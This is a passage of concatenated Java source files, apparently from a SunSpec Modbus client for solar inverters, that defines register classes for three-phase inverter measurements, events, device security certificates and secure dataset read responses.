tcpModbusHandler */ public PhVphB(V_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { setScaleFactorMessage(aScalFactor); init(tcpModbusHandler.getInverterThreePhase_103(), 11, 1, "Phase Voltage BN", "V", "Phase Voltage BN", Rw.R, Mandatory.M); } } /** * */ public class PhVphC extends RegisterUDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public PhVphC(V_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { setScaleFactorMessage(aScalFactor); init(tcpModbusHandler.getInverterThreePhase_103(), 12, 1, "Phase Voltage CN", "V", "Phase Voltage CN", Rw.R, Mandatory.M); } } /** * */ public class V_SF extends RegisterSunssf { public V_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getInverterThreePhase_103(), 13, 1, "V_SF", "", "V_SF", Rw.R, Mandatory.M); } } /** * */ public class W extends RegisterDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public W(W_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { setScaleFactorMessage(aScalFactor); init(tcpModbusHandler.getInverterThreePhase_103(), 14, 1, "Watts", "W", "AC Power", Rw.R, Mandatory.M); } } /** * */ public class W_SF extends RegisterSunssf { public W_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getInverterThreePhase_103(), 15, 1, "W_SF", "", "W_SF", Rw.R, Mandatory.M); } } /** * */ public class Hz extends RegisterUDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public Hz(Hz_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { setScaleFactorMessage(aScalFactor); init(tcpModbusHandler.getInverterThreePhase_103(), 16, 1, "Hz", "Hz", "Line Frequency", Rw.R, Mandatory.M); } } /** * */ public class Hz_SF extends RegisterSunssf { public Hz_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getInverterThreePhase_103(), 17, 1, "Hz_SF", "", "Hz_SF", Rw.R, Mandatory.M); } } /** * */ public class VA extends RegisterDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public VA(VA_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { setScaleFactorMessage(aScalFactor); init(tcpModbusHandler.getInverterThreePhase_103(), 18, 1, "VA", "VA", "AC Apparent Power", Rw.R, Mandatory.O); } } /** * */ public class VA_SF extends RegisterSunssf { public VA_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getInverterThreePhase_103(), 19, 1, "VA_SF", "", "VA_SF", Rw.R, Mandatory.O); } } /** * */ public class VAr extends RegisterDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public VAr(VAr_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { setScaleFactorMessage(aScalFactor); init(tcpModbusHandler.getInverterThreePhase_103(), 20, 1, "VAr", "var", "AC Reactive Power", Rw.R, Mandatory.O); } } /** * */ public class VAr_SF extends RegisterSunssf { public VAr_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getInverterThreePhase_103(), 21, 1, "VAr_SF", "", "VAr_SF", Rw.R, Mandatory.O); } } /** * */ public class PF extends RegisterDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public PF(PF_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { setScaleFactorMessage(aScalFactor); init(tcpModbusHandler.getInverterThreePhase_103(), 22, 1, "PF", "Pct", "AC Power Factor", Rw.R, Mandatory.O); } } /** * */ public class PF_SF extends RegisterSunssf { public PF_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getInverterThreePhase_103(), 23, 1, "PF_SF", "", "PF_SF", Rw.R, Mandatory.O); } } /** * */ public class WH extends RegisterDoubleACC32 { /** * @param aScalFactor * @param tcpModbusHandler */ public WH(WH_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { setScaleFactorMessage(aScalFactor); init(tcpModbusHandler.getInverterThreePhase_103(), 24, 2, "WattHours", "Wh", "AC Energy", Rw.R, Mandatory.M); } } /** * */ public class WH_SF extends RegisterSunssf { public WH_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getInverterThreePhase_103(), 26, 1, "WH_SF", "", "WH_SF", Rw.R, Mandatory.M); } } /** * */ public class DCA extends RegisterUDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public DCA(DCA_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { setScaleFactorMessage(aScalFactor); init(tcpModbusHandler.getInverterThreePhase_103(), 27, 1, "DC Amps", "A", "DC Current", Rw.R, Mandatory.O); } } /** * */ public class DCA_SF extends RegisterSunssf { public DCA_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getInverterThreePhase_103(), 28, 1, "DCA_SF", "", "DCA_SF", Rw.R, Mandatory.O); } } /** * */ public class DCV extends RegisterUDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public DCV(DCV_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { setScaleFactorMessage(aScalFactor); init(tcpModbusHandler.getInverterThreePhase_103(), 29, 1, "DC Voltage", "V", "DC Voltage", Rw.R, Mandatory.O); } } /** * */ public class DCV_SF extends RegisterSunssf { public DCV_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getInverterThreePhase_103(), 30, 1, "DCV_SF", "", "DCV_SF", Rw.R, Mandatory.O); } } /** * */ public class DCW extends RegisterDouble { /** * @param aScalFactor */ public DCW(DCW_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { setScaleFactorMessage(aScalFactor); init(tcpModbusHandler.getInverterThreePhase_103(), 31, 1, "DC Watts", "W", "DC Power", Rw.R, Mandatory.O); } } /** * */ public class DCW_SF extends RegisterSunssf { public DCW_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getInverterThreePhase_103(), 32, 1, "DCW_SF", "", "DCW_SF", Rw.R, Mandatory.O); } } /** * */ public class TmpCab extends RegisterDouble { /** * @param aScalFactor */ public TmpCab(Tmp_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { setScaleFactorMessage(aScalFactor); init(tcpModbusHandler.getInverterThreePhase_103(), 33, 1, "Cabinet Temperature", "C", "Cabinet Temperature", Rw.R, Mandatory.M); } } /** * */ public class TmpSnk extends RegisterDouble { /** * @param aScalFactor */ public TmpSnk(Tmp_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { setScaleFactorMessage(aScalFactor); init(tcpModbusHandler.getInverterThreePhase_103(), 34, 1, "Heat Sink Temperature", "C", "Heat Sink Temperature", Rw.R, Mandatory.O); } } /** * */ public class TmpTrns extends RegisterDouble { /** * @param aScalFactor */ public TmpTrns(Tmp_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { setScaleFactorMessage(aScalFactor); init(tcpModbusHandler.getInverterThreePhase_103(), 35, 1, "Transformer Temperature", "C", "Transformer Temperature", Rw.R, Mandatory.O); } } /** * */ public class TmpOt extends RegisterDouble { /** * @param aScalFactor */ public TmpOt(Tmp_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { setScaleFactorMessage(aScalFactor); init(tcpModbusHandler.getInverterThreePhase_103(), 36, 1, "Other Temperature", "C", "Other Temperature", Rw.R, Mandatory.O); } } /** * */ public class Tmp_SF extends RegisterSunssf { public Tmp_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getInverterThreePhase_103(), 37, 1, "Tmp_SF", "", "Tmp_SF", Rw.R, Mandatory.M); } } /** * */ public class St extends RegisterEnum16 { public St(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getInverterThreePhase_103(), 38, 1, "Operating State", "", "Enumerated value. Operating state", Rw.R, Mandatory.M); hashtable.put((long) 1, "OFF"); hashtable.put((long) 2, "SLEEPING"); hashtable.put((long) 3, "STARTING"); hashtable.put((long) 4, "MPPT"); hashtable.put((long) 5, "THROTTLED"); hashtable.put((long) 6, "SHUTTING_DOWN"); hashtable.put((long) 7, "FAULT"); hashtable.put((long) 8, "STANDBY"); } } /** * */ public class StVnd extends RegisterEnum16 { public StVnd(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getInverterThreePhase_103(), 39, 1, "Vendor Operating State", "", "Vendor specific operating state code", Rw.R, Mandatory.O); } } /** * */ public class Evt1 extends RegisterBitfield32 { public Evt1(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getInverterThreePhase_103(), 40, 2, "Event1", "", "Bitmask value. Event fields", Rw.R, Mandatory.M); hashtable.put((long) 0, "GROUND_FAULT"); hashtable.put((long) 1, "DC_OVER_VOLT"); hashtable.put((long) 2, "AC_DISCONNECT"); hashtable.put((long) 3, "DC_DISCONNECT"); hashtable.put((long) 4, "GRID_DISCONNECT"); hashtable.put((long) 5, "CABINET_OPEN"); hashtable.put((long) 6, "MANUAL_SHUTDOWN"); hashtable.put((long) 7, "OVER_TEMP"); hashtable.put((long) 8, "OVER_FREQUENCY"); hashtable.put((long) 9, "UNDER_FREQUENCY"); hashtable.put((long) 10, "AC_OVER_VOLT"); hashtable.put((long) 11, "AC_UNDER_VOLT"); hashtable.put((long) 12, "BLOWN_String_FUSE"); hashtable.put((long) 13, "UNDER_TEMP"); hashtable.put((long) 14, "MEMORY_LOSS"); hashtable.put((long) 15, "HW_TEST_FAILURE"); } } /** * */ public class Evt2 extends RegisterBitfield32 { public Evt2(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getInverterThreePhase_103(), 42, 2, "Event Bitfield 2", "", "Reserved for future use", Rw.R, Mandatory.M); } } /** * */ public class EvtVnd1 extends RegisterBitfield32 { public EvtVnd1(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getInverterThreePhase_103(), 44, 2, "Vendor Event Bitfield 1", "", "Vendor defined events", Rw.R, Mandatory.O); } } /** * */ public class EvtVnd2 extends RegisterBitfield32 { public EvtVnd2(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getInverterThreePhase_103(), 46, 2, "Vendor Event Bitfield 2", "", "Vendor defined events", Rw.R, Mandatory.O); } } /** * */ public class EvtVnd3 extends RegisterBitfield32 { public EvtVnd3(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getInverterThreePhase_103(), 48, 2, "Vendor Event Bitfield 3", "", "Vendor defined events", Rw.R, Mandatory.O); } } /** * */ public class EvtVnd4 extends RegisterBitfield32 { public EvtVnd4(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getInverterThreePhase_103(), 50, 2, "Vendor Event Bitfield 4", "", "Vendor defined events", Rw.R, Mandatory.O); } } } <file_sep>include ':app', ':sunspecmodbus' <file_sep>/* * Copyright © 2016 , <NAME>. All rights reserved. * * * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY * KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR * IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE * SOFTWARE. */ package ch.retep.relleum.sunspec.read.table; import ch.retep.relleum.modbus.datatype.RegisterEnum16; import ch.retep.relleum.modbus.datatype.RegisterUint16; import ch.retep.relleum.modbus.datatype.Table; import ch.retep.relleum.sunspec.TcpModbusHandler; import ch.retep.relleum.sunspec.datatype.RetepEnum; import ch.retep.relleum.sunspec.datatype.RetepLong; /** * @author Peter */ public class Table0008GetDeviceSecurityCertificate extends Table { private ID getDeviceSecurityCertificate00ID; private L getDeviceSecurityCertificate01L; private Fmt getDeviceSecurityCertificate02Fmt; private N getDeviceSecurityCertificate03N; private Cert getDeviceSecurityCertificate04Cert; public Table0008GetDeviceSecurityCertificate(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getGetDeviceSecurityCertificate_8(), 0, 5, "Get Device Security Certificate Modell", "", "Get Device Security Certificate Modell ", Rw.R, Mandatory.M); getDeviceSecurityCertificate00ID = new ID(tcpModbusHandler); getDeviceSecurityCertificate01L = new L(tcpModbusHandler); getDeviceSecurityCertificate02Fmt = new Fmt(tcpModbusHandler); getDeviceSecurityCertificate03N = new N(tcpModbusHandler); getDeviceSecurityCertificate04Cert = new Cert(tcpModbusHandler); vector.add(getDeviceSecurityCertificate00ID); vector.add(getDeviceSecurityCertificate01L); vector.add(getDeviceSecurityCertificate02Fmt); vector.add(getDeviceSecurityCertificate03N); vector.add(getDeviceSecurityCertificate04Cert); } public RetepEnum getID() { return getDeviceSecurityCertificate00ID; } public RetepLong getL() { return getDeviceSecurityCertificate01L; } public RetepEnum getFmt() { return getDeviceSecurityCertificate02Fmt; } public RetepLong getN() { return getDeviceSecurityCertificate03N; } public RetepLong getCert() { return getDeviceSecurityCertificate04Cert; } public static class ID extends RegisterEnum16 { public ID(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getGetDeviceSecurityCertificate_8(), 0, 1, "Model", "", "Security model for PKI", Rw.R, Mandatory.M); hashtable.put((long) 8, "SunSpec Secure Write Response Model (DRAFT 1)"); } } public static class L extends RegisterUint16 { public L(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getGetDeviceSecurityCertificate_8(), 1, 1, "Model Length", "", "Model Length", Rw.R, Mandatory.M); } } public static class Fmt extends RegisterEnum16 { public Fmt(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getGetDeviceSecurityCertificate_8(), 2, 1, "Format", "", "X.509 format of the certificate. DER or PEM.", Rw.R, Mandatory.M); hashtable.put((long) 0, "NONE"); hashtable.put((long) 1, "X509_PEM"); hashtable.put((long) 2, "X509_DER"); } } public static class N extends RegisterUint16 { public N(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getGetDeviceSecurityCertificate_8(), 3, 1, "N", "", "Number of registers to follow for the certificate", Rw.R, Mandatory.M); } } public static class Cert extends RegisterUint16 { public Cert(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getGetDeviceSecurityCertificate_8(), 4, 1, "Cert", "", "X.509 Certificate of the device", Rw.R, Mandatory.M); } } } <file_sep>/* * Copyright © 2016 , <NAME>. All rights reserved. * * * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY * KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR * IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE * SOFTWARE. */ package ch.retep.relleum.sunspec.read.table; import ch.retep.relleum.modbus.datatype.RegisterEnum16; import ch.retep.relleum.modbus.datatype.RegisterUint16; import ch.retep.relleum.modbus.datatype.RegisterUint32; import ch.retep.relleum.modbus.datatype.Table; import ch.retep.relleum.sunspec.TcpModbusHandler; import ch.retep.relleum.sunspec.datatype.RetepEnum; import ch.retep.relleum.sunspec.datatype.RetepLong; /** * @author Peter */ public class Table0004SecureDatasetReadResponse extends Table { private ID secureDatasetReadResponse0ID; private L secureDatasetReadResponse1L; private RqSeq secureDatasetReadResponse2RqSeq; private Sts secureDatasetReadResponse3Sts; private X secureDatasetReadResponse4X; private Val1 secureDatasetReadResponse5Val1; private Val2 secureDatasetReadResponse6Val2; private Val3 secureDatasetReadResponse7Val3; private Val4 secureDatasetReadResponse8Val4; private Val5 secureDatasetReadResponse9Val5; private Val6 secureDatasetReadResponse10Val6; private Val7 secureDatasetReadResponse11Val7; private Val8 secureDatasetReadResponse12Val8; private Val9 secureDatasetReadResponse13Val9; private Val10 secureDatasetReadResponse14Val10; private Val11 secureDatasetReadResponse15Val11; private Val12 secureDatasetReadResponse16Val12; private Val13 secureDatasetReadResponse17Val13; private Val14 secureDatasetReadResponse18Val14; private Val15 secureDatasetReadResponse19Val15; private Val16 secureDatasetReadResponse20Val16; private Val17 secureDatasetReadResponse21Val17; private Val18 secureDatasetReadResponse22Val18; private Val19 secureDatasetReadResponse23Val19; private Val20 secureDatasetReadResponse24Val20; private Val21 secureDatasetReadResponse25Val21; private Val22 secureDatasetReadResponse26Val22; private Val23 secureDatasetReadResponse27Val23; private Val24 secureDatasetReadResponse28Val24; private Val25 secureDatasetReadResponse29Val25; private Val26 secureDatasetReadResponse30Val26; private Val27 secureDatasetReadResponse31Val27; private Val28 secureDatasetReadResponse32Val28; private Val29 secureDatasetReadResponse33Val29; private Val30 secureDatasetReadResponse34Val30; private Val31 secureDatasetReadResponse35Val31; private Val32 secureDatasetReadResponse36Val32; private Val33 secureDatasetReadResponse37Val33; private Val34 secureDatasetReadResponse38Val34; private Val35 secureDatasetReadResponse39Val35; private Val36 secureDatasetReadResponse40Val36; private Val37 secureDatasetReadResponse41Val37; private Val38 secureDatasetReadResponse42Val38; private Val39 secureDatasetReadResponse43Val39; private Val40 secureDatasetReadResponse44Val40; private Val41 secureDatasetReadResponse45Val41; private Val42 secureDatasetReadResponse46Val42; private Val43 secureDatasetReadResponse47Val43; private Val44 secureDatasetReadResponse48Val44; private Val45 secureDatasetReadResponse49Val45; private Val46 secureDatasetReadResponse50Val46; private Val47 secureDatasetReadResponse51Val47; private Val48 secureDatasetReadResponse52Val48; private Val49 secureDatasetReadResponse53Val49; private Val50 secureDatasetReadResponse54Val50; private Ts secureDatasetReadResponse55Ts; private Ms secureDatasetReadResponse57Ms; private Seq secureDatasetReadResponse58Seq; private Alm secureDatasetReadResponse59Alm; private Alg secureDatasetReadResponse60Alg ; private N secureDatasetReadResponse61N ; private TcpModbusHandler tcpModbusHandler; private DS[] dses; public Table0004SecureDatasetReadResponse(TcpModbusHandler tcpModbusHandler) { this.tcpModbusHandler =tcpModbusHandler; init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 0, 63, "Secure Dataset Read Response Modell", "", "Secure Dataset Read Response Modell ", Rw.R, Mandatory.M); secureDatasetReadResponse0ID = new ID(tcpModbusHandler); secureDatasetReadResponse1L = new L(tcpModbusHandler); secureDatasetReadResponse2RqSeq = new RqSeq(tcpModbusHandler); secureDatasetReadResponse3Sts = new Sts(tcpModbusHandler); secureDatasetReadResponse4X = new X(tcpModbusHandler); secureDatasetReadResponse5Val1 = new Val1(tcpModbusHandler); secureDatasetReadResponse6Val2 = new Val2(tcpModbusHandler); secureDatasetReadResponse7Val3 = new Val3(tcpModbusHandler); secureDatasetReadResponse8Val4 = new Val4(tcpModbusHandler); secureDatasetReadResponse9Val5 = new Val5(tcpModbusHandler); secureDatasetReadResponse10Val6 = new Val6(tcpModbusHandler); secureDatasetReadResponse11Val7 = new Val7(tcpModbusHandler); secureDatasetReadResponse12Val8 = new Val8(tcpModbusHandler); secureDatasetReadResponse13Val9 = new Val9(tcpModbusHandler); secureDatasetReadResponse14Val10 = new Val10(tcpModbusHandler); secureDatasetReadResponse15Val11 = new Val11(tcpModbusHandler); secureDatasetReadResponse16Val12 = new Val12(tcpModbusHandler); secureDatasetReadResponse17Val13 = new Val13(tcpModbusHandler); secureDatasetReadResponse18Val14 = new Val14(tcpModbusHandler); secureDatasetReadResponse19Val15 = new Val15(tcpModbusHandler); secureDatasetReadResponse20Val16 = new Val16(tcpModbusHandler); secureDatasetReadResponse21Val17 = new Val17(tcpModbusHandler); secureDatasetReadResponse22Val18 = new Val18(tcpModbusHandler); secureDatasetReadResponse23Val19 = new Val19(tcpModbusHandler); secureDatasetReadResponse24Val20 = new Val20(tcpModbusHandler); secureDatasetReadResponse25Val21 = new Val21(tcpModbusHandler); secureDatasetReadResponse26Val22 = new Val22(tcpModbusHandler); secureDatasetReadResponse27Val23 = new Val23(tcpModbusHandler); secureDatasetReadResponse28Val24 = new Val24(tcpModbusHandler); secureDatasetReadResponse29Val25 = new Val25(tcpModbusHandler); secureDatasetReadResponse30Val26 = new Val26(tcpModbusHandler); secureDatasetReadResponse31Val27 = new Val27(tcpModbusHandler); secureDatasetReadResponse32Val28 = new Val28(tcpModbusHandler); secureDatasetReadResponse33Val29 = new Val29(tcpModbusHandler); secureDatasetReadResponse34Val30 = new Val30(tcpModbusHandler); secureDatasetReadResponse35Val31 = new Val31(tcpModbusHandler); secureDatasetReadResponse36Val32 = new Val32(tcpModbusHandler); secureDatasetReadResponse37Val33 = new Val33(tcpModbusHandler); secureDatasetReadResponse38Val34 = new Val34(tcpModbusHandler); secureDatasetReadResponse39Val35 = new Val35(tcpModbusHandler); secureDatasetReadResponse40Val36 = new Val36(tcpModbusHandler); secureDatasetReadResponse41Val37 = new Val37(tcpModbusHandler); secureDatasetReadResponse42Val38 = new Val38(tcpModbusHandler); secureDatasetReadResponse43Val39 = new Val39(tcpModbusHandler); secureDatasetReadResponse44Val40 = new Val40(tcpModbusHandler); secureDatasetReadResponse45Val41 = new Val41(tcpModbusHandler); secureDatasetReadResponse46Val42 = new Val42(tcpModbusHandler); secureDatasetReadResponse47Val43 = new Val43(tcpModbusHandler); secureDatasetReadResponse48Val44 = new Val44(tcpModbusHandler); secureDatasetReadResponse49Val45 = new Val45(tcpModbusHandler); secureDatasetReadResponse50Val46 = new Val46(tcpModbusHandler); secureDatasetReadResponse51Val47 = new Val47(tcpModbusHandler); secureDatasetReadResponse52Val48 = new Val48(tcpModbusHandler); secureDatasetReadResponse53Val49 = new Val49(tcpModbusHandler); secureDatasetReadResponse54Val50 = new Val50(tcpModbusHandler); secureDatasetReadResponse55Ts = new Ts(tcpModbusHandler); secureDatasetReadResponse57Ms = new Ms(tcpModbusHandler); secureDatasetReadResponse58Seq = new Seq(tcpModbusHandler); secureDatasetReadResponse59Alm = new Alm(tcpModbusHandler); secureDatasetReadResponse60Alg = new Alg(tcpModbusHandler); secureDatasetReadResponse61N = new N(tcpModbusHandler); vector.add(secureDatasetReadResponse0ID); vector.add(secureDatasetReadResponse1L); vector.add(secureDatasetReadResponse2RqSeq); vector.add(secureDatasetReadResponse3Sts); vector.add(secureDatasetReadResponse4X); vector.add(secureDatasetReadResponse5Val1); vector.add(secureDatasetReadResponse6Val2); vector.add(secureDatasetReadResponse7Val3); vector.add(secureDatasetReadResponse8Val4); vector.add(secureDatasetReadResponse9Val5); vector.add(secureDatasetReadResponse10Val6); vector.add(secureDatasetReadResponse11Val7); vector.add(secureDatasetReadResponse12Val8); vector.add(secureDatasetReadResponse13Val9); vector.add(secureDatasetReadResponse14Val10); vector.add(secureDatasetReadResponse15Val11); vector.add(secureDatasetReadResponse16Val12); vector.add(secureDatasetReadResponse17Val13); vector.add(secureDatasetReadResponse18Val14); vector.add(secureDatasetReadResponse19Val15); vector.add(secureDatasetReadResponse20Val16); vector.add(secureDatasetReadResponse21Val17); vector.add(secureDatasetReadResponse22Val18); vector.add(secureDatasetReadResponse23Val19); vector.add(secureDatasetReadResponse24Val20); vector.add(secureDatasetReadResponse25Val21); vector.add(secureDatasetReadResponse26Val22); vector.add(secureDatasetReadResponse27Val23); vector.add(secureDatasetReadResponse28Val24); vector.add(secureDatasetReadResponse29Val25); vector.add(secureDatasetReadResponse30Val26); vector.add(secureDatasetReadResponse31Val27); vector.add(secureDatasetReadResponse32Val28); vector.add(secureDatasetReadResponse33Val29); vector.add(secureDatasetReadResponse34Val30); vector.add(secureDatasetReadResponse35Val31); vector.add(secureDatasetReadResponse36Val32); vector.add(secureDatasetReadResponse37Val33); vector.add(secureDatasetReadResponse38Val34); vector.add(secureDatasetReadResponse39Val35); vector.add(secureDatasetReadResponse40Val36); vector.add(secureDatasetReadResponse41Val37); vector.add(secureDatasetReadResponse42Val38); vector.add(secureDatasetReadResponse43Val39); vector.add(secureDatasetReadResponse44Val40); vector.add(secureDatasetReadResponse45Val41); vector.add(secureDatasetReadResponse46Val42); vector.add(secureDatasetReadResponse47Val43); vector.add(secureDatasetReadResponse48Val44); vector.add(secureDatasetReadResponse49Val45); vector.add(secureDatasetReadResponse50Val46); vector.add(secureDatasetReadResponse51Val47); vector.add(secureDatasetReadResponse52Val48); vector.add(secureDatasetReadResponse53Val49); vector.add(secureDatasetReadResponse54Val50); vector.add(secureDatasetReadResponse55Ts); vector.add(secureDatasetReadResponse57Ms); vector.add(secureDatasetReadResponse58Seq); vector.add(secureDatasetReadResponse59Alm); vector.add(secureDatasetReadResponse60Alg); vector.add(secureDatasetReadResponse61N); } @Override public void setResponseInit(byte[] bArry) { super.setResponseInit(bArry); int size = (((int) getL().toLong() - 60)); dses = new DS[size]; for (int i = 0; i < size; i++) { dses[i] = new DS(i); dses[i].setResponse2(this.getBB()); vector.add(dses[i]); } } public RetepEnum getID() { return secureDatasetReadResponse0ID; } public RetepLong getL() { return secureDatasetReadResponse1L; } public RetepLong getRqSeq() { return secureDatasetReadResponse2RqSeq; } public RetepEnum getSts() { return secureDatasetReadResponse3Sts; } public RetepLong getX() { return secureDatasetReadResponse4X; } public RetepLong getVal1() { return secureDatasetReadResponse5Val1; } public RetepLong getVal2() { return secureDatasetReadResponse6Val2; } public RetepLong getVal3() { return secureDatasetReadResponse7Val3; } public RetepLong getVal4() { return secureDatasetReadResponse8Val4; } public RetepLong getVal5() { return secureDatasetReadResponse9Val5; } public RetepLong getVal6() { return secureDatasetReadResponse10Val6; } public RetepLong getVal7() { return secureDatasetReadResponse11Val7; } public RetepLong getVal8() { return secureDatasetReadResponse12Val8; } public RetepLong getVal9() { return secureDatasetReadResponse13Val9; } public RetepLong getVal10() { return secureDatasetReadResponse14Val10; } public RetepLong getVal11() { return secureDatasetReadResponse15Val11; } public RetepLong getVal12() { return secureDatasetReadResponse16Val12; } public RetepLong getVal13() { return secureDatasetReadResponse17Val13; } public RetepLong getVal14() { return secureDatasetReadResponse18Val14; } public RetepLong getVal15() { return secureDatasetReadResponse19Val15; } public RetepLong getVal16() { return secureDatasetReadResponse20Val16; } public RetepLong getVal17() { return secureDatasetReadResponse21Val17; } public RetepLong getVal18() { return secureDatasetReadResponse22Val18; } public RetepLong getVal19() { return secureDatasetReadResponse23Val19; } public RetepLong getVal20() { return secureDatasetReadResponse24Val20; } public RetepLong getVal21() { return secureDatasetReadResponse25Val21; } public RetepLong getVal22() { return secureDatasetReadResponse26Val22; } public RetepLong getVal23() { return secureDatasetReadResponse27Val23; } public RetepLong getVal24() { return secureDatasetReadResponse28Val24; } public RetepLong getVal25() { return secureDatasetReadResponse29Val25; } public RetepLong getVal26() { return secureDatasetReadResponse30Val26; } public RetepLong getVal27() { return secureDatasetReadResponse31Val27; } public RetepLong getVal28() { return secureDatasetReadResponse32Val28; } public RetepLong getVal29() { return secureDatasetReadResponse33Val29; } public RetepLong getVal30() { return secureDatasetReadResponse34Val30; } public RetepLong getVal31() { return secureDatasetReadResponse35Val31; } public RetepLong getVal32() { return secureDatasetReadResponse36Val32; } public RetepLong getVal33() { return secureDatasetReadResponse37Val33; } public RetepLong getVal34() { return secureDatasetReadResponse38Val34; } public RetepLong getVal35() { return secureDatasetReadResponse39Val35; } public RetepLong getVal36() { return secureDatasetReadResponse40Val36; } public RetepLong getVal37() { return secureDatasetReadResponse41Val37; } public RetepLong getVal38() { return secureDatasetReadResponse42Val38; } public RetepLong getVal39() { return secureDatasetReadResponse43Val39; } public RetepLong getVal40() { return secureDatasetReadResponse44Val40; } public RetepLong getVal41() { return secureDatasetReadResponse45Val41; } public RetepLong getVal42() { return secureDatasetReadResponse46Val42; } public RetepLong getVal43() { return secureDatasetReadResponse47Val43; } public RetepLong getVal44() { return secureDatasetReadResponse48Val44; } public RetepLong getVal45() { return secureDatasetReadResponse49Val45; } public RetepLong getVal46() { return secureDatasetReadResponse50Val46; } public RetepLong getVal47() { return secureDatasetReadResponse51Val47; } public RetepLong getVal48() { return secureDatasetReadResponse52Val48; } public RetepLong getVal49() { return secureDatasetReadResponse53Val49; } public RetepLong getVal50() { return secureDatasetReadResponse54Val50; } public RetepLong getTs() { return secureDatasetReadResponse55Ts; } public RetepLong getMs() { return secureDatasetReadResponse57Ms; } public RetepLong getSeq() { return secureDatasetReadResponse58Seq; } public RetepEnum getAlm() { return secureDatasetReadResponse59Alm; } public RetepEnum getAlg() { return secureDatasetReadResponse60Alg; } public RetepLong getN() { return secureDatasetReadResponse61N; } public RetepLong getDS(int index) { return dses[index]; } public static class ID extends RegisterEnum16 { public ID (TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 0, 1, "Model", "", "Compute a digial signature over a specifed set of data registers", Rw.R, Mandatory.M); hashtable.put((long) 4, "SunSpec Secure Dataset Read Response"); } } public static class L extends RegisterUint16 { public L(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 1, 1, "Model Length", "", "Model Length", Rw.R, Mandatory.M); } } public static class RqSeq extends RegisterUint16 { public RqSeq(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 2, 1, "Request Sequence", "", "Sequence number from the request", Rw.R, Mandatory.M); } } public static class Sts extends RegisterEnum16 { public Sts(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 3, 1, "Status", "", "Status of last read operation", Rw.R, Mandatory.M); hashtable.put((long) 0, "SUCCESS"); hashtable.put((long) 1, "DS"); hashtable.put((long) 2, "ACL"); hashtable.put((long) 3, "OFF"); } } public static class X extends RegisterUint16 { public X(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureDatasetReadResponse_4(), 4, 